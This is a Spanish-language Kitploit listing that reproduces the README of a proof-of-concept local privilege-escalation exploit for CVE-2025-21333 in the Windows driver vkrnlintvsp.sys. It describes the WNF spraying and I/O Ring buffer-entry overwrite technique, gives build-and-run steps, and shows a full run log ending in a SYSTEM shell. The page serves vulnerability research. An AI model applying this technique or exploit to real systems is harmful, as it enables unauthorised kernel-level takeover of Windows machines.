Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-21333-POC — Exploit PoC para CVE-2025-21333: desbordamiento de búfer basado en montón. Aprovecha datos de estado WNF y el anillo de E/S IOP\_MC\_BUFFER\_ENTRY | Kitploit
Herramientas/GitHubGitHub/mrale98/cve-2025-21333-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónExplotación de Binarios
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

Exploit PoC para CVE-2025-21333: desbordamiento de búfer basado en montón. Aprovecha datos de estado WNF y el anillo de E/S IOP\_MC\_BUFFER\_ENTRY

Ver Repositorio
23236hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-21333-POC

Prueba de concepto que explota CVE-2025-21333 en vkrnlintvsp.sys (no muy fiable, véase la sección Requisitos y Limitaciones). En la sección de Referencias se encuentran recursos muy útiles para quienes quieran jugar con el exploit.

Un análisis detallado de la vulnerabilidad y el exploit está disponible aquí.

La vulnerabilidad fue detectada como explotada activamente por actores de amenazas.

Probado en Windows 11 23h2.

Puede funcionar también en Windows 11 24h2 pero no lo he probado.

A continuación, el hash de ntoskrnl.exe y vkrnlintvsp.sys que se usaron para probar el POC.

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

Sobrescribir la entrada del búfer de I/O Ring para obtener lectura/escritura arbitraria

No utiliza NtQuerySystemInformation para filtrar direcciones del kernel ni PreviousMode para obtener lectura/escritura arbitraria.

En su lugar, asigna en el Paged Pool un array de punteros a _IOP_MC_BUFFER_ENTRY y sobrescribe el primer puntero con un IOP_MC_BUFFER_ENTRY* malicioso ubicado en espacio de usuario. Usando BuildIoRingWriteFile()/BuildIoRingReadFile() es posible obtener lectura/escritura arbitraria en el kernel.

El array de punteros a _IOP_MC_BUFFER_ENTRY es un objeto con PoolTag IrRB.

La técnica difiere ligeramente de la documentada por Yarden Shafir aquí. En lugar de tomar el control de todo el array apuntado por _IORING_OBJECT.RegBuffers, la técnica toma el control solo de una entrada en el array apuntado por _IORING_OBJECT.RegBuffers.

Dado que el tamaño del array de punteros es controlable por el usuario, esto significa que puede usarse para obtener lectura/escritura arbitraria confiable en ring0 a partir de desbordamientos de heap y UAF para múltiples buckets de LFH.

No sé si alguien ya compartió esta técnica para explotar desbordamientos o UAF en el paged pool.

Estas capturas de pantalla fueron tomadas después de ejecutar el POC. El desbordamiento estaba en el bucket para objetos de tamaño 0x50. Nótese que fue posible asignar un array RegBuffers en ese bucket y el primer puntero apunta a memoria de espacio de usuario.

image

Nótese que la entrada maliciosa establece Address a un objeto de proceso. Address corresponde a la dirección arbitraria de la que queremos leer/escribir (esto ya está bien descrito en el artículo de Yarden Shafir).

image

Requisitos y Limitaciones

Es necesario activar la característica de sandbox de Windows para que las syscalls vulnerables sean manejadas por el controlador vulnerable.

image

Logré obtener un desbordamiento de 0xfff0 bytes. No logré que la longitud del desbordamiento fuera totalmente controlable. Puede verse un crash si el desbordamiento es mayor que el subsegmento (puede ocurrir con bastante frecuencia). Quizás rociando más objetos se pueda minimizar este comportamiento.

El POC libera 2 datos de estado WNF para reasignar en esas posiciones un regBuffer (un array de punteros a _IOP_MC_BUFFER_ENTRY asociado a un IORING_OBJECT) y un PipeAttribute. A veces, entre la liberación y la reasignación, puede ocurrir que otro objeto sea asignado en esa posición por otro controlador. Sería posible usar otros objetos de datos de estado WNF corruptos en un bucle while para realizar múltiples intentos de reasignación y aumentar la posibilidad de tener el diseño deseado.

El código del POC es bastante desordenado.

Después de obtener sistema, es mejor salir del shell del sistema escribiendo exit en la consola, de lo contrario la máquina se bloqueará.

Compilar y Ejecutar

Compilar versión x64 Release.

Ejecutar y obtener un shell de sistema.

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

Referencias

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

Agradecimientos

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
Descargar herramienta